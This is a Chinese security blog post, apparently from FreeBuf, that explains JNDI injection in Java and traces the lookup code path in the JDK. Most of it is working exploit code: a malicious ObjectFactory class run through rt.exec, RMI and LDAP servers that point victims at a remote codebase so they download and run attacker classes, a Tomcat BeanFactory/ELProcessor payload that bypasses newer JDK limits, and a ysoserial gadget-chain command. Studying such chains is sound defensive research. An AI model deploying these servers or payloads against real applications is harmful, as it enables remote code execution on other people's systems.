站在大佬肩膀上学JNDI注入 – 作者:水木逸轩con

0x00 RMI的Demo

关于什么远程方法的调用,什么RMI的协议,哎,只要会用就行了,而且好多大佬前面写过各种JRMP,RMI之类的文章,重点我这里想看看这个lookup函数到底是怎么去加载这个远程类和本地类的。

上Demo,本地JDK环境为1.8.0_201:

远程调用的恶意类:

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
	{
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"clac.exe"};
            Process pc = rt.exec(commands);
			System.out.println("123");
            pc.waitFor();
        } catch (Exception e) {
        }
    }
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
			System.out.println("123");
            pc.waitFor();
        } catch (Exception e) {
        }
    }
    public Calc() {
        try {
			System.out.println("123");
            Runtime rt = Runtime.getRuntime();
            Process pc = rt.exec("calc.exe");
            pc.waitFor();
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
			System.out.println("123");
            Runtime rt = Runtime.getRuntime();
            Process pc = rt.exec("calc.exe");
            pc.waitFor();
        } catch (Exception e) {
        }
        return null;
    }
}

rmi服务端实现类:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class listener {
    public static void main(String[] args) throws AlreadyBoundException {
        try {
			System.setProperty("java.rmi.server.hostname","192.168.154.131");
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc","Calc","http://192.168.154.131:8081/"); 
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello",refObjWrapper);
        } catch (RemoteException | NamingException e) {
            e.printStackTrace();
        }
    }
}

rmi客户端(受害服务端)调用的实现类:

import javax.naming.Context;
import javax.naming.InitialContext;
public class demo{
    public static void main(String[] args) {
        try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "rmi://192.168.154.131:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

加载效果:

恶意服务器启动HTTP服务

1598524436.png!small

注意启动的目录为恶意类所在的目录

恶意服务器(rmi服务端)启动监听

1598524443.png!small

rmi客户端请求恶意类加载

1598524453.png!small

恶意类加载完成

0x01 恶意类加载的原因

blackHat的议题上说问题出在了NamingManager类的getObjectFactoryFromReference方法上

1598524495.png!small

那就试试看,到底能不能找到这个方法,跟进lookup方法的源码:

1598524506.png!small

看InitialContext类的getURLOrDefaultInitCtx方法中的NamingManager.getURLContext的源码

1598524513.png!small

name传入到了lookup方法中,接着跟进getURLOrDefaultInitCtx

1598524521.png!small

跟进NamingManager的getURLContext方法:

1598524531.png!small

跟进getURLObject方法:

1598524539.png!small

1598524542.png!small

跟进getObjectInstance方法

1598524550.png!small

1598524553.png!small

Nice,终于在不满足各个条件不满足的情况下找到了getObjectFactoryFromReference

1598524561.png!small

在这里,完成了远程恶意类的加载。

0x02 LDAP攻击类型的Demo

public class Ldap {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) {
    String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", 
                    InetAddress.getByName("0.0.0.0"),                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");                e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}




受害服务器(rmi客户端)的实现类:

public class demo{
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "ldap://192.168.154.129:9999/calc";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

启动LDAP服务端与恶意类服务器

1598524677.png!small

1598524680.png!small

启动JNDI客户端

1598524687.png!small

恶意类加载成功

为什么LDAP可以实现远程类加载的效果,因为LDAP可以描述一个对象。

0x03 使用本地类进行攻击的Demo

Java高版本对Java远程类加载进行了限制,具体的版本为:

既然无法加载外部类,但是还有内部类可以利用,比如org.apache.naming.factory.BeanFactory,为什么使用这个类:

跟进一下InitialContext类->lookup方法->NamingManager类getURLOrDefaultInitCtx方法->NamingManager类getURLContext方法-> NamingManager类getURLObject方法,发现这个方法中先得到一个ObjectFactory的对象,并且这个对象有getObjctInstance方法

1598524715.png!small

1598524719.png!small

那就需要找到本地的一个继承自ObjectFactory的类,并且它含有getObjectInstance方法。

看下org.apache.naming.factory.BeanFactory类的作用,它是创建beans时所使用的。

1598524728.png!small

1598524733.png!small

1598524737.png!small

可以看到所使用的类,必须具有无参的构造函数,和只具有一个String参数的方法。

而且第三张图片中假定说传入forceString的值为x=eval,诶,这就有意思了,得到这个字符串中“=”的位置,然后把这个方法名给个拿到,Nice

1598524747.png!small

最终对forced这个HashMap将propName与paramTypes值put

1598524754.png!small

1598524759.png!small

1598524762.png!small

然后去getMethod propName,接着进行反射,相当于执行

这是伪代码:

Class cls = Class.forName(“javax.el.ELProcessor”);

Object ob = cls.getConstructor().newInstance();

eval.invoke(ob,”el表达式需要执行的内容”);

接着进行反射。

那么之前使用这个机制的大佬就找到了javax.el.Process,而且里面正好存在执行el表达式的eval方法。那怎说呢,看下大佬们的恶意rmi是怎么构造的,JDK高版本虽然不让远程加载类,但并没有说不能远程提供类信息,而且还是使用的内部类,这个时候,提供类名,方法名,传入方法的参数值,就可以进行本地方法调用了。

恶意的RMI构造如下:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

在这里我遇到一个问题:没有考虑到类之间的继承关系,导致我每次搞这个东西,都是败兴而归,大力出奇迹,当我把Tomcat8.5的所有类包导入到类环境当中的时候,搞定了,之前没有类包一直报错。

参照大佬的博客:

https://www.pianshen.com/article/87941420471/

1598524866.png!small

1598524881.png!small

有时候无法利用内部类,还可以返回一段序列化字段,这段序列化字段可以被rmi客户端进行序列化。

0x04 LDAP返回序列化字段进行JNDI高版本绕过

这里假设目标存在一个反序列化的漏洞库,比如CC链,然后使用工具生成一段BASE64编码的序列化数据,当程序进行反序列化之后,触发CC链。

这里参考大佬的一个LDAP服务器:

https://blog.csdn.net/weixin_44063566/article/details/88897261

先使用ysoserial.jar生成CC链的poc,java -jar ysoserial.jar CommonsCollections5 calc.exe > poc.txt

1598524950.png!small

然后使用Java程序将其转化为base64编码,因为base64不乱码,直接生成的poc文件时乱码的。

替换到LDAP服务器中的序列化代码

1598524958.png!small

然后客户端访问LDAP服务器:

1598524966.png!small

触发:

1598524978.png!small

参考链接:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

来源:freebuf.com 2020-08-27 18:44:39 by: 水木逸轩con

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论